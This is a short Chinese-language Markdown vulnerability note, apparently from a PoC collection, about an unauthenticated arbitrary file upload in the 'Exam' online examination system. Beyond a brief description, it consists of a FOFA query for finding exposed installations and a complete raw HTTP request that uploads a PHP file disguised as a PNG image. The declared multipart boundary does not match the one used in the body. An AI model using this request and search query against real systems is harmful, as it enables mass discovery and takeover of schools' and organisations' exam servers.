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47 lines
1.7 KiB
Markdown
47 lines
1.7 KiB
Markdown
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## Exam在线考试系统存在前台任意文件上传漏洞
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Exam在线考试系统是一种现代地，全新的考试模型。它使用户可根据自身特点快速构建考试、测评、练习、竞赛、调查、分析及管理于一体的网络化考试平台，可轻松完成全员考试，问卷调查以及知识竞赛等工作，uploadFile接口存在任意文件上传漏洞，导致获取服务器权限。
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## fofa
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```
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"app/core/styles/js/jquery.min.js"
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```
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## poc
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```yaml
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POST /index.php?document-api-fineuploader HTTP/1.1
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate, br, zstd
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Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
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Cache-Control: max-age=0
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Connection: keep-alive
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Content-Length: 198
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygfd0H3RWDeNNLaPy
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Host: 127.0.0.1
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Origin: http://127.0.0.1
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Referer: http://127.0.0.1/index.php?document-api-fineuploader
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: none
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
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sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
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sec-ch-ua-mobile: ?0
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sec-ch-ua-platform: "Windows"
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sec-fetch-user: ?1
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------WebKitFormBoundarye776qKJKlcGtVlH5
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Content-Disposition: form-data; name="qqfile"; filename="1.php"
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Content-Type: image/png
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<?php phpinfo();?>
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------WebKitFormBoundarye776qKJKlcGtVlH5--
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```
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## 漏洞来源
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- https://mp.weixin.qq.com/s/KXcBpZ5rcdnHLey--NXQfg
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